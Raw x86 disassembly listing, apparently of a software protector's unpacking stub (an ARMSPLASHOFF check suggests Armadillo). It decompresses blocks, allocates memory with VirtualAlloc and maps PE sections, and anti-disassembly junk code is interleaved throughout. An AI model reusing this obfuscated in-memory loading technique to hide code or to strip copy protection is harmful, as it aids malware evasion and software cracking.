		mov	[ebp+Src], eax
		cmp	[ebp+Src], 0
		jnz	short loc_4B4A62
		xor	eax, eax
		jmp	loc_4B4BB4
; ---------------------------------------------------------------------------


loc_4B4A62:				; CODE XREF: sub_4B4965+F4j
		cmp	[ebp+var_C], 0
		jnz	short loc_4B4A6A
		jmp	short loc_4B4A75
; ---------------------------------------------------------------------------


loc_4B4A6A:				; CODE XREF: sub_4B4965+101j
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		jmp	short loc_4B4A24
; ---------------------------------------------------------------------------


loc_4B4A75:				; CODE XREF: sub_4B4965+C6j
					; sub_4B4965+103j
		mov	cl, byte_4F4120
		mov	[ebp+var_10C], cl
		mov	ecx, 3Fh
		xor	eax, eax
		lea	edi, [ebp+var_10B]
		rep stosd
		stosw
		stosb
		push	100h
		lea	edx, [ebp+var_10C]
		push	edx
		push	offset aArmsplashoff ; "ARMSPLASHOFF"
		call	dword_4ED068	; GetEnvironmentVariableA
		test	eax, eax
		jnz	short loc_4B4AB7
		mov	[ebp+var_10C], 0
		jmp	short loc_4B4ADE
; ---------------------------------------------------------------------------


loc_4B4AB7:				; CODE XREF: sub_4B4965+147j
		movsx	eax, [ebp+var_10C]
		cmp	eax, 30h
		jz	short loc_4B4ACE
		movsx	ecx, [ebp+var_10C]
		test	ecx, ecx
		jnz	short loc_4B4AD7


loc_4B4ACE:				; CODE XREF: sub_4B4965+15Cj
		mov	[ebp+var_10C], 0
		jmp	short loc_4B4ADE
; ---------------------------------------------------------------------------


loc_4B4AD7:				; CODE XREF: sub_4B4965+167j
		mov	[ebp+var_10C], 1


loc_4B4ADE:				; CODE XREF: sub_4B4965+150j
					; sub_4B4965+170j
		movsx	edx, [ebp+var_10C]
		test	edx, edx
		jnz	short loc_4B4B25
		mov	eax, [ebp+arg_8]
		and	eax, 0FFh
		test	eax, eax
		jnz	short loc_4B4B25
		cmp	dword_4F4484, 8
		jz	short loc_4B4B25
		cmp	dword_4F4484, 9
		jz	short loc_4B4B25
		push	0
		movsx	ecx, [ebp+var_4]
		xor	edx, edx
		cmp	ecx, 3
		setz	dl
		push	edx
		mov	eax, [ebp+var_110]
		push	eax
		call	sub_4B6BB7
		add	esp, 0Ch


loc_4B4B25:				; CODE XREF: sub_4B4965+182j
					; sub_4B4965+18Ej ...
		mov	ecx, [ebp+var_110]
		mov	[ebp+var_120], ecx
		mov	edx, [ebp+var_120]
		push	edx
		call	sub_4C85D6
		add	esp, 4


loc_4B4B40:				; CODE XREF: sub_4B4965:loc_4B49AEj
					; sub_4B4965+5Ej ...
		mov	eax, [ebp+Src]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_4B4BA8
		mov	edx, [ebp+Src]
		add	edx, 1
		mov	[ebp+Src], edx
		mov	eax, [ebp+Src]
		add	eax, 4
		mov	[ebp+Src], eax


loc_4B4B5C:				; CODE XREF: sub_4B4965:loc_4B4BA4j
		mov	ecx, 1
		test	ecx, ecx
		jz	short loc_4B4BA6
		mov	edx, [ebp+Src]
		mov	eax, [edx]
		mov	[ebp+var_118], eax
		mov	ecx, [ebp+Src]
		add	ecx, 4
		mov	[ebp+Src], ecx
		mov	edx, [ebp+var_118]
		and	edx, 7FFFFFFFh
		mov	[ebp+var_118], edx
		cmp	[ebp+var_118], 0
		jz	short loc_4B4BA2
		mov	eax, [ebp+Src]
		add	eax, [ebp+var_118]
		mov	[ebp+Src], eax
		jmp	short loc_4B4BA4
; ---------------------------------------------------------------------------


loc_4B4BA2:				; CODE XREF: sub_4B4965+22Dj
		jmp	short loc_4B4BA6
; ---------------------------------------------------------------------------


loc_4B4BA4:				; CODE XREF: sub_4B4965+23Bj
		jmp	short loc_4B4B5C
; ---------------------------------------------------------------------------


loc_4B4BA6:				; CODE XREF: sub_4B4965+1FEj
					; sub_4B4965:loc_4B4BA2j
		jmp	short loc_4B4B40
; ---------------------------------------------------------------------------


loc_4B4BA8:				; CODE XREF: sub_4B4965+1E3j
		mov	ecx, [ebp+Src]
		add	ecx, 1
		mov	[ebp+Src], ecx
		mov	eax, [ebp+Src]


loc_4B4BB4:				; CODE XREF: sub_4B4965+F8j
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_4B4965	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4B4BB9(void *Src,int,int,int)

sub_4B4BB9	proc near		; CODE XREF: sub_4B4965+E5p
					; .text:004B4DCFp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
Dst		= dword	ptr -0Ch
var_8		= dword	ptr -8
Size		= dword	ptr -4
Src		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	byte ptr [ebp+var_8], 0
		mov	eax, [ebp+Src]
		mov	ecx, [eax]
		mov	[ebp+Size], ecx
		mov	edx, [ebp+Src]
		add	edx, 4
		mov	[ebp+Src], edx
		mov	eax, [ebp+Size]
		and	eax, 80000000h
		test	eax, eax
		jz	short loc_4B4BF0
		mov	ecx, [ebp+Size]
		and	ecx, 7FFFFFFFh
		mov	[ebp+Size], ecx
		mov	byte ptr [ebp+var_8], 1


loc_4B4BF0:				; CODE XREF: sub_4B4BB9+25j
		cmp	[ebp+Size], 0
		jz	loc_4B4CF1
		cmp	[ebp+arg_4], 0
		jz	loc_4B4CE8
		mov	edx, [ebp+var_8]
		and	edx, 0FFh
		test	edx, edx
		jnz	loc_4B4CAD
		mov	eax, [ebp+Size]
		add	eax, 100h
		push	eax
		call	sub_4C85E1
		add	esp, 4
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_10]
		mov	[ebp+Dst], ecx
		mov	edx, [ebp+Size]
		push	edx		; Size
		mov	eax, [ebp+Src]
		push	eax		; Src
		mov	ecx, [ebp+Dst]
		push	ecx		; Dst
		call	_memcpy_1
		add	esp, 0Ch
		mov	edx, [ebp+Src]
		add	edx, [ebp+Size]
		mov	[ebp+Src], edx
		cmp	[ebp+arg_C], 0
		jz	short loc_4B4C68
		push	0
		mov	eax, [ebp+Size]
		push	eax
		mov	ecx, [ebp+Dst]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		call	sub_490F38
		add	esp, 10h


loc_4B4C68:				; CODE XREF: sub_4B4BB9+97j
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		push	ecx		; int
		mov	edx, [ebp+Size]
		push	edx		; Size
		mov	eax, [ebp+arg_4]
		push	eax		; Dst
		mov	ecx, [ebp+Dst]
		push	ecx		; int
		call	sub_49034E
		add	esp, 10h
		mov	[ebp+Size], eax
		cmp	[ebp+Size], 0
		jnz	short loc_4B4C99
		mov	dword_4F4370, 0
		xor	eax, eax
		jmp	short loc_4B4CFC
; ---------------------------------------------------------------------------


loc_4B4C99:				; CODE XREF: sub_4B4BB9+D0j
		mov	edx, [ebp+Dst]
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_14]
		push	eax
		call	sub_4C85D6
		add	esp, 4
		jmp	short loc_4B4CE6
; ---------------------------------------------------------------------------


loc_4B4CAD:				; CODE XREF: sub_4B4BB9+56j
		mov	ecx, [ebp+Size]


loc_4B4CB0:				; CODE XREF: .text:loc_4B4D27j
		push	ecx		; Size
		mov	edx, [ebp+Src]
		push	edx		; Src
		mov	eax, [ebp+arg_4]
		push	eax		; Dst
		call	_memcpy_1
		add	esp, 0Ch
		mov	ecx, [ebp+Src]
		add	ecx, [ebp+Size]
		mov	[ebp+Src], ecx
		cmp	[ebp+arg_C], 0
		jz	short loc_4B4CE6
		push	0
		mov	edx, [ebp+Size]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		call	sub_490F38
		add	esp, 10h


loc_4B4CE6:				; CODE XREF: sub_4B4BB9+F2j
					; sub_4B4BB9+115j
		jmp	short loc_4B4CF1
; ---------------------------------------------------------------------------


loc_4B4CE8:				; CODE XREF: sub_4B4BB9+45j
		mov	edx, [ebp+Src]
		add	edx, [ebp+Size]
		mov	[ebp+Src], edx


loc_4B4CF1:				; CODE XREF: sub_4B4BB9+3Bj
					; sub_4B4BB9:loc_4B4CE6j
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+Size]
		mov	[eax], ecx
		mov	eax, [ebp+Src]


loc_4B4CFC:				; CODE XREF: sub_4B4BB9+DEj
		mov	esp, ebp
		pop	ebp
		retn
sub_4B4BB9	endp

; ---------------------------------------------------------------------------


loc_4B4D00:				; CODE XREF: sub_4B45FB+E0p
		push	ebp
		mov	ebp, esp
		sub	esp, 68h
		push	ebx
		push	esi
		push	edi
		pusha
		xor	eax, eax
		jnz	short loc_4B4D10
		jmp	short loc_4B4D25
; ---------------------------------------------------------------------------


loc_4B4D10:				; CODE XREF: .text:004B4D0Cj
		jmp	short loc_4B4D45
; ---------------------------------------------------------------------------
		dw 75C0h
; ---------------------------------------------------------------------------
		sbb	[edx+0Ch], bh


loc_4B4D17:				; CODE XREF: .text:loc_4B4D25j
		jo	short loc_4B4D27
		jmp	short near ptr loc_4B4D27+1
; ---------------------------------------------------------------------------
		db 0E8h
		dd 0F1790E72h, 790015FFh
		db 9
; ---------------------------------------------------------------------------


loc_4B4D25:				; CODE XREF: .text:004B4D0Ej
		jz	short loc_4B4D17


loc_4B4D27:				; CODE XREF: .text:loc_4B4D17j
					; .text:004B4D19j
		jmp	short loc_4B4CB0
; ---------------------------------------------------------------------------
		fstp	tbyte ptr [edx-10h]
		mov	al, ds:458B6133h
		or	[ebx-7B276F8h],	cl
		push	ecx
		bswap	ecx
		not	ecx
		push	eax
		not	eax
		mov	eax, 6C65696Dh
		xchg	eax, ecx


loc_4B4D45:				; CODE XREF: .text:loc_4B4D10j
		mov	ecx, 0DEADC0DEh
		xchg	eax, ecx
		not	eax
		pop	eax
		not	ecx
		pop	ecx
		pushf
		pusha
		xor	ebx, ebx
		jz	short loc_4B4D5A


loc_4B4D57:				; CODE XREF: .text:004B4D78j
		jmp	short near ptr loc_4B4D7A+1
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4B4D5A:				; CODE XREF: .text:004B4D55j
		xor	ebx, ebx
		jz	short $+2
		jmp	short loc_4B4D6D
; ---------------------------------------------------------------------------
		db 0B8h, 0EBh, 0Fh
; ---------------------------------------------------------------------------


loc_4B4D63:				; CODE XREF: .text:004B4D6Fj
		mov	ecx, 34F9C987h
		nop
		stc
		jz	short loc_4B4D71
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4B4D6D:				; CODE XREF: .text:004B4D5Ej
		xor	eax, eax
		jz	short loc_4B4D63


loc_4B4D71:				; CODE XREF: .text:004B4D6Aj
		mov	eax, 4840C987h
		test	eax, eax
		jnz	short loc_4B4D57


loc_4B4D7A:				; CODE XREF: .text:loc_4B4D57j
		jmp	near ptr 92B1EAE0h
; ---------------------------------------------------------------------------
		xchg	ax, dx
		mov	eax, eax
		mov	edx, [ebp+8]
		add	edx, 4
		mov	[ebp+8], edx
		jo	short loc_4B4D95
		jl	short loc_4B4D93


loc_4B4D90:				; CODE XREF: .text:loc_4B4D93j
					; .text:loc_4B4D95j
		jmp	short loc_4B4D97
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_4B4D93:				; CODE XREF: .text:004B4D8Ej
		jz	short loc_4B4D90


loc_4B4D95:				; CODE XREF: .text:004B4D8Cj
		jmp	short loc_4B4D90
; ---------------------------------------------------------------------------


loc_4B4D97:				; CODE XREF: .text:loc_4B4D90j
		mov	eax, [ebp-8]
		push	eax
		call	sub_4C85E1
		add	esp, 4
		mov	[ebp-64h], eax
		mov	ecx, [ebp-64h]
		mov	[ebp-30h], ecx
		mov	edx, [ebp-30h]
		mov	[ebp-4], edx


loc_4B4DB2:				; CODE XREF: .text:004B4DF8j
		mov	eax, 1
		test	eax, eax
		jz	short loc_4B4DFA
		mov	ecx, [ebp-8]
		mov	[ebp-38h], ecx
		push	0
		lea	edx, [ebp-38h]
		push	edx
		mov	eax, [ebp-4]
		push	eax
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_4B4BB9
		add	esp, 10h
		mov	[ebp+8], eax
		cmp	dword ptr [ebp+8], 0
		jnz	short loc_4B4DE7


loc_4B4DE0:				; CODE XREF: .text:004B4E4Ej
		xor	eax, eax
		jmp	loc_4B528C
; ---------------------------------------------------------------------------


loc_4B4DE7:				; CODE XREF: .text:004B4DDEj
		cmp	dword ptr [ebp-38h], 0
		jnz	short loc_4B4DEF
		jmp	short loc_4B4DFA
; ---------------------------------------------------------------------------


loc_4B4DEF:				; CODE XREF: .text:004B4DEBj
		mov	edx, [ebp-4]
		add	edx, [ebp-38h]
		mov	[ebp-4], edx
		jmp	short loc_4B4DB2
; ---------------------------------------------------------------------------


loc_4B4DFA:				; CODE XREF: .text:004B4DB9j
					; .text:004B4DEDj
		mov	eax, [ebp-30h]
		mov	[ebp-1Ch], eax
		mov	ecx, [ebp-1Ch]
		mov	edx, [ebp-30h]
		add	edx, [ecx+3Ch]
		mov	[ebp-34h], edx
		mov	eax, [ebp-34h]
		add	eax, 4
		mov	[ebp-2Ch], eax
		mov	ecx, [ebp-34h]
		add	ecx, 18h
		mov	[ebp-28h], ecx
		mov	edx, [ebp-34h]
		add	edx, 0F8h
		mov	[ebp-18h], edx
		mov	eax, [ebp-28h]
		mov	ecx, [eax+1Ch]
		mov	[ebp-24h], ecx
		push	eax
		not	eax
		bswap	eax
		pop	eax
		jnb	short $+2
		pushf
		pusha
		jmp	short loc_4B4E6A ; CODE	XREF: .text:loc_4B4E6Aj
; ---------------------------------------------------------------------------
		sal	byte ptr [eax+0Eh], cl


loc_4B4E42:				; CODE XREF: .text:004B4E63j
		jmp	short loc_4B4E61
; ---------------------------------------------------------------------------


loc_4B4E44:				; CODE XREF: .text:loc_4B4E61j
		xor	ecx, ecx


loc_4B4E46:				; CODE XREF: .text:004B4E55j
		jz	short $+2
		jmp	short loc_4B4E5A
; ---------------------------------------------------------------------------


loc_4B4E4A:				; CODE XREF: .text:004B4E5Ej
		stc
		xor	ecx, 3
		jz	short loc_4B4DE0
		jmp	short loc_4B4E57
; ---------------------------------------------------------------------------
		db 0B9h
; ---------------------------------------------------------------------------


loc_4B4E53:				; CODE XREF: .text:loc_4B4E57j
		jmp	short loc_4B4E65
; ---------------------------------------------------------------------------
		jz	short loc_4B4E46


loc_4B4E57:				; CODE XREF: .text:004B4E50j
		jnb	short loc_4B4E53
; ---------------------------------------------------------------------------
		db 0F2h
; ---------------------------------------------------------------------------


loc_4B4E5A:				; CODE XREF: .text:004B4E48j
		sbb	bl, bl
		xor	ebx, ebx
		jmp	short loc_4B4E4A
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_4B4E61:				; CODE XREF: .text:loc_4B4E42j
		jmp	short loc_4B4E44
; ---------------------------------------------------------------------------
		jmp	short loc_4B4E42
; ---------------------------------------------------------------------------


loc_4B4E65:				; CODE XREF: .text:loc_4B4E53j
		repne sbb al, 0DBh
		jmp	short loc_4B4E6D
; ---------------------------------------------------------------------------


loc_4B4E6A:				; CODE XREF: .text:004B4E3Dj
		jmp	short near ptr loc_4B4E3D+1
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------


loc_4B4E6D:				; CODE XREF: .text:004B4E68j
		popa
		popf
		bswap	eax
		not	ecx
		bswap	eax
		not	ecx
		mov	edx, [ebp-28h]
		mov	eax, [edx+38h]
		mov	[ebp-10h], eax
		push	ecx
		bswap	ecx
		not	ecx
		push	eax
		not	eax
		mov	eax, 6C65696Dh
		xchg	eax, ecx
		mov	ecx, 0DEADC0DEh
		xchg	eax, ecx
		not	eax		; CODE XREF: .text:loc_4B4F0Cj
		pop	eax
		not	ecx
		pop	ecx
		pushf
		pusha
		xor	ebx, ebx
		jz	short loc_4B4EA3


loc_4B4EA0:				; CODE XREF: .text:004B4EC1j
		jmp	short near ptr loc_4B4EC3+1
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4B4EA3:				; CODE XREF: .text:004B4E9Ej
		xor	ebx, ebx
		jz	short $+2
		jmp	short loc_4B4EB6
; ---------------------------------------------------------------------------
		db 0B8h, 0EBh, 0Fh
; ---------------------------------------------------------------------------


loc_4B4EAC:				; CODE XREF: .text:004B4EB8j
		mov	ecx, 34F9C987h
		nop
		stc
		jz	short loc_4B4EBA
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4B4EB6:				; CODE XREF: .text:004B4EA7j
		xor	eax, eax
		jz	short loc_4B4EAC


loc_4B4EBA:				; CODE XREF: .text:004B4EB3j
		mov	eax, 4840C987h
		test	eax, eax
		jnz	short loc_4B4EA0


loc_4B4EC3:				; CODE XREF: .text:loc_4B4EA0j
		jmp	near ptr 92B1EC29h
; ---------------------------------------------------------------------------
		xchg	ax, dx
		mov	eax, eax
		push	4
		push	1000h
		mov	ecx, [ebp-10h]


loc_4B4ED6:				; CODE XREF: .text:004B4F44j
		push	ecx
		mov	edx, [ebp-24h]
		push	edx
		call	dword_4ED070	; VirtualAlloc
		mov	[ebp-20h], eax
		cmp	dword ptr [ebp-20h], 0
		jnz	loc_4B4F83
		pusha
		xor	eax, eax
		jnz	short loc_4B4EF5
		jmp	short loc_4B4F0A
; ---------------------------------------------------------------------------


loc_4B4EF5:				; CODE XREF: .text:004B4EF1j
		jmp	short loc_4B4F2A
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0C7A1875h
; ---------------------------------------------------------------------------


loc_4B4EFC:				; CODE XREF: .text:loc_4B4F0Aj
		jo	short loc_4B4F0C
		jmp	short near ptr loc_4B4F0C+1
; ---------------------------------------------------------------------------
		dd 790E72E8h, 15FFF1h
; ---------------------------------------------------------------------------
		jns	short loc_4B4F13


loc_4B4F0A:				; CODE XREF: .text:004B4EF3j
		jz	short loc_4B4EFC


loc_4B4F0C:				; CODE XREF: .text:loc_4B4EFCj
					; .text:004B4EFEj
		jmp	short near ptr loc_4B4E94+1
; ---------------------------------------------------------------------------
		dw 7ADBh
		db 0F0h, 0A0h, 33h
; ---------------------------------------------------------------------------


loc_4B4F13:				; CODE XREF: .text:004B4F08j
		popa
		mov	eax, [ebp-28h]
		cmp	dword ptr [eax+5Ch], 5
		jbe	short loc_4B4F83
		mov	ecx, [ebp-28h]
		cmp	dword ptr [ecx+88h], 0
		jz	short loc_4B4F83
		push	eax


loc_4B4F2A:				; CODE XREF: .text:loc_4B4EF5j
		not	eax
		bswap	eax
		pop	eax
		jnb	short $+2
		pushf
		pusha
		jmp	short loc_4B4F60 ; CODE	XREF: .text:loc_4B4F60j
; ---------------------------------------------------------------------------
		sal	byte ptr [eax+0Eh], cl


loc_4B4F38:				; CODE XREF: .text:004B4F59j
		jmp	short loc_4B4F57
; ---------------------------------------------------------------------------


loc_4B4F3A:				; CODE XREF: .text:loc_4B4F57j
		xor	ecx, ecx


loc_4B4F3C:				; CODE XREF: .text:004B4F4Bj
		jz	short $+2
		jmp	short loc_4B4F50
; ---------------------------------------------------------------------------


loc_4B4F40:				; CODE XREF: .text:004B4F54j
		stc
		xor	ecx, 3
		jz	short loc_4B4ED6
		jmp	short loc_4B4F4D
; ---------------------------------------------------------------------------
		db 0B9h
; ---------------------------------------------------------------------------


loc_4B4F49:				; CODE XREF: .text:loc_4B4F4Dj
		jmp	short loc_4B4F5B
; ---------------------------------------------------------------------------
		jz	short loc_4B4F3C


loc_4B4F4D:				; CODE XREF: .text:004B4F46j
		jnb	short loc_4B4F49
; ---------------------------------------------------------------------------
		db 0F2h
; ---------------------------------------------------------------------------


loc_4B4F50:				; CODE XREF: .text:004B4F3Ej
		sbb	bl, bl
		xor	ebx, ebx
		jmp	short loc_4B4F40
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_4B4F57:				; CODE XREF: .text:loc_4B4F38j
		jmp	short loc_4B4F3A
; ---------------------------------------------------------------------------
		jmp	short loc_4B4F38
; ---------------------------------------------------------------------------


loc_4B4F5B:				; CODE XREF: .text:loc_4B4F49j
		repne sbb al, 0DBh
		jmp	short loc_4B4F63
; ---------------------------------------------------------------------------


loc_4B4F60:				; CODE XREF: .text:004B4F33j
		jmp	short near ptr loc_4B4F33+1
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------


loc_4B4F63:				; CODE XREF: .text:004B4F5Ej
		popa
		popf
		bswap	eax
		not	ecx
		bswap	eax
		not	ecx
		push	4
		push	1000h
		mov	edx, [ebp-10h]
		push	edx
		push	0
		call	dword_4ED070	; VirtualAlloc
		mov	[ebp-20h], eax


loc_4B4F83:				; CODE XREF: .text:004B4EE8j
					; .text:004B4F1Bj ...
		cmp	dword ptr [ebp-20h], 0
		jnz	short loc_4B4F9A
		mov	dword_4F4370, 2
		xor	eax, eax
		jmp	loc_4B528C
; ---------------------------------------------------------------------------


loc_4B4F9A:				; CODE XREF: .text:004B4F87j
		mov	eax, [ebp-28h]
		mov	ecx, [eax+3Ch]
		push	ecx
		mov	edx, [ebp-30h]
		push	edx
		mov	eax, [ebp-20h]
		push	eax
		call	_memcpy_1
		add	esp, 0Ch
		jo	short loc_4B4FBA
		jl	short loc_4B4FB8


loc_4B4FB5:				; CODE XREF: .text:loc_4B4FB8j
					; .text:loc_4B4FBAj
		jmp	short loc_4B4FBC
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_4B4FB8:				; CODE XREF: .text:004B4FB3j
		jz	short loc_4B4FB5


loc_4B4FBA:				; CODE XREF: .text:004B4FB1j
		jmp	short loc_4B4FB5
; ---------------------------------------------------------------------------


loc_4B4FBC:				; CODE XREF: .text:loc_4B4FB5j
		mov	ecx, [ebp-18h]
		mov	[ebp-0Ch], ecx
		mov	edx, [ebp-2Ch]
		xor	eax, eax
		mov	ax, [edx+2]
		imul	eax, 28h
		mov	ecx, [ebp-0Ch]
		add	ecx, eax
		mov	[ebp-14h], ecx


loc_4B4FD6:				; CODE XREF: .text:004B5030j
		mov	edx, [ebp-0Ch]
		cmp	edx, [ebp-14h]
		jnb	short loc_4B5032
		pusha
		xor	eax, eax
		jnz	short loc_4B4FE5
		jmp	short loc_4B4FFA
; ---------------------------------------------------------------------------


loc_4B4FE5:				; CODE XREF: .text:004B4FE1j
		jmp	short loc_4B501A
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0C7A1875h		; CODE XREF: .text:004B5059j
; ---------------------------------------------------------------------------


loc_4B4FEC:				; CODE XREF: .text:loc_4B4FFAj
		jo	short loc_4B4FFC
		jmp	short near ptr loc_4B4FFC+1
; ---------------------------------------------------------------------------
		dd 790E72E8h, 15FFF1h
; ---------------------------------------------------------------------------
		jns	short loc_4B5003


loc_4B4FFA:				; CODE XREF: .text:004B4FE3j
		jz	short loc_4B4FEC


loc_4B4FFC:				; CODE XREF: .text:loc_4B4FECj
					; .text:004B4FEEj
		jmp	short near ptr loc_4B4F83+2
; ---------------------------------------------------------------------------
		dw 7ADBh
		db 0F0h, 0A0h, 33h
; ---------------------------------------------------------------------------


loc_4B5003:				; CODE XREF: .text:004B4FF8j
		popa
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+10h]
		push	ecx
		mov	edx, [ebp-0Ch]
		mov	eax, [ebp-30h]
		add	eax, [edx+14h]
		push	eax
		mov	ecx, [ebp-0Ch]
; ---------------------------------------------------------------------------
		db 8Bh,	55h
; ---------------------------------------------------------------------------


loc_4B501A:				; CODE XREF: .text:loc_4B4FE5j
		loopne	loc_4B501F
		push	ecx
		or	al, 52h


loc_4B501F:				; CODE XREF: .text:loc_4B501Aj
		call	_memcpy_1
		add	esp, 0Ch
		mov	eax, [ebp-0Ch]
		add	eax, 28h
		mov	[ebp-0Ch], eax
		jmp	short loc_4B4FD6
; ---------------------------------------------------------------------------


loc_4B5032:				; CODE XREF: .text:004B4FDCj
		mov	ecx, [ebp-20h]
		cmp	ecx, [ebp-24h]
		jz	loc_4B5127
		push	eax
		not	eax
		bswap	eax
		pop	eax
		jnb	short $+2
		pushf
		pusha
		jmp	short loc_4B5075 ; CODE	XREF: .text:loc_4B5075j
; ---------------------------------------------------------------------------
		sal	byte ptr [eax+0Eh], cl


loc_4B504D:				; CODE XREF: .text:004B506Ej
		jmp	short loc_4B506C
; ---------------------------------------------------------------------------


loc_4B504F:				; CODE XREF: .text:loc_4B506Cj
		xor	ecx, ecx


loc_4B5051:				; CODE XREF: .text:004B5060j
		jz	short $+2
		jmp	short loc_4B5065
; ---------------------------------------------------------------------------


loc_4B5055:				; CODE XREF: .text:004B5069j
		stc
		xor	ecx, 3
		jz	short near ptr dword_4B4FE8+3
		jmp	short loc_4B5062
; ---------------------------------------------------------------------------
		db 0B9h
; ---------------------------------------------------------------------------


loc_4B505E:				; CODE XREF: .text:loc_4B5062j
		jmp	short loc_4B5070
; ---------------------------------------------------------------------------
		jz	short loc_4B5051


loc_4B5062:				; CODE XREF: .text:004B505Bj
		jnb	short loc_4B505E
; ---------------------------------------------------------------------------
		db 0F2h
; ---------------------------------------------------------------------------


loc_4B5065:				; CODE XREF: .text:004B5053j
		sbb	bl, bl
		xor	ebx, ebx
		jmp	short loc_4B5055
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_4B506C:				; CODE XREF: .text:loc_4B504Dj
		jmp	short loc_4B504F
; ---------------------------------------------------------------------------
		jmp	short loc_4B504D
; ---------------------------------------------------------------------------


loc_4B5070:				; CODE XREF: .text:loc_4B505Ej
		repne sbb al, 0DBh
		jmp	short loc_4B5078
; ---------------------------------------------------------------------------


loc_4B5075:				; CODE XREF: .text:004B5048j
		jmp	short near ptr loc_4B5048+1
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------


loc_4B5078:				; CODE XREF: .text:004B5073j
		popa
		popf
		bswap	eax
		not	ecx
		bswap	eax
		not	ecx
		mov	edx, [ebp-28h]
		mov	eax, [ebp-20h]
		add	eax, [edx+88h]
		mov	[ebp-40h], eax
		jo	short loc_4B509A
		jl	short loc_4B5098


loc_4B5095:				; CODE XREF: .text:loc_4B5098j
					; .text:loc_4B509Aj
		jmp	short loc_4B509C
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_4B5098:				; CODE XREF: .text:004B5093j
		jz	short loc_4B5095


loc_4B509A:				; CODE XREF: .text:004B5091j
		jmp	short loc_4B5095
; ---------------------------------------------------------------------------


loc_4B509C:				; CODE XREF: .text:loc_4B5095j
		mov	ecx, [ebp-28h]
		mov	edx, [ecx+8Ch]
		mov	[ebp-3Ch], edx
		push	ecx
		bswap	ecx
		not	ecx
		push	eax
		not	eax
		mov	eax, 6C65696Dh
		xchg	eax, ecx
		mov	ecx, 0DEADC0DEh
		xchg	eax, ecx
		not	eax
		pop	eax
		not	ecx
		pop	ecx
		pushf
		pusha
		xor	ebx, ebx
		jz	short loc_4B50CB


loc_4B50C8:				; CODE XREF: .text:004B50E9j
		jmp	short near ptr loc_4B50EB+1
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4B50CB:				; CODE XREF: .text:004B50C6j
		xor	ebx, ebx
		jz	short $+2
		jmp	short loc_4B50DE
; ---------------------------------------------------------------------------
		db 0B8h, 0EBh, 0Fh
; ---------------------------------------------------------------------------


loc_4B50D4:				; CODE XREF: .text:004B50E0j
		mov	ecx, 34F9C987h
		nop
		stc
		jz	short loc_4B50E2
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4B50DE:				; CODE XREF: .text:004B50CFj
		xor	eax, eax
		jz	short loc_4B50D4


loc_4B50E2:				; CODE XREF: .text:004B50DBj
		mov	eax, 4840C987h
		test	eax, eax
		jnz	short loc_4B50C8


loc_4B50EB:				; CODE XREF: .text:loc_4B50C8j
		jmp	near ptr 92B1EE51h
; ---------------------------------------------------------------------------
		xchg	ax, dx
		mov	eax, eax
		mov	eax, [ebp-3Ch]
		push	eax
		mov	ecx, [ebp-40h]
		push	ecx
		mov	edx, [ebp-24h]
		push	edx
		mov	eax, [ebp-20h]
		push	eax
		call	sub_4B5293
		add	esp, 10h
		and	eax, 0FFh
		test	eax, eax
		jnz	short loc_4B511C
		xor	eax, eax
		jmp	loc_4B528C
; ---------------------------------------------------------------------------


loc_4B511C:				; CODE XREF: .text:004B5113j
		jo	short loc_4B5125
		jl	short loc_4B5123


loc_4B5120:				; CODE XREF: .text:loc_4B5123j
					; .text:loc_4B5125j
		jmp	short loc_4B5127
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_4B5123:				; CODE XREF: .text:004B511Ej
		jz	short loc_4B5120


loc_4B5125:				; CODE XREF: .text:loc_4B511Cj
		jmp	short loc_4B5120
; ---------------------------------------------------------------------------


loc_4B5127:				; CODE XREF: .text:004B5038j
					; .text:loc_4B5120j
		mov	ecx, [ebp-28h]
		mov	edx, [ecx+68h]
		push	edx
		mov	eax, [ebp-20h]
		push	eax
		call	sub_4B5417
		add	esp, 8
		and	eax, 0FFh
		test	eax, eax
		jnz	short loc_4B514A
		xor	eax, eax
		jmp	loc_4B528C
; ---------------------------------------------------------------------------


loc_4B514A:				; CODE XREF: .text:004B5141j
		mov	ecx, [ebp-18h]
		mov	[ebp-0Ch], ecx


loc_4B5150:				; CODE XREF: .text:004B525Aj
		mov	edx, [ebp-0Ch]
		cmp	edx, [ebp-14h]
		jnb	loc_4B525F
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+24h]
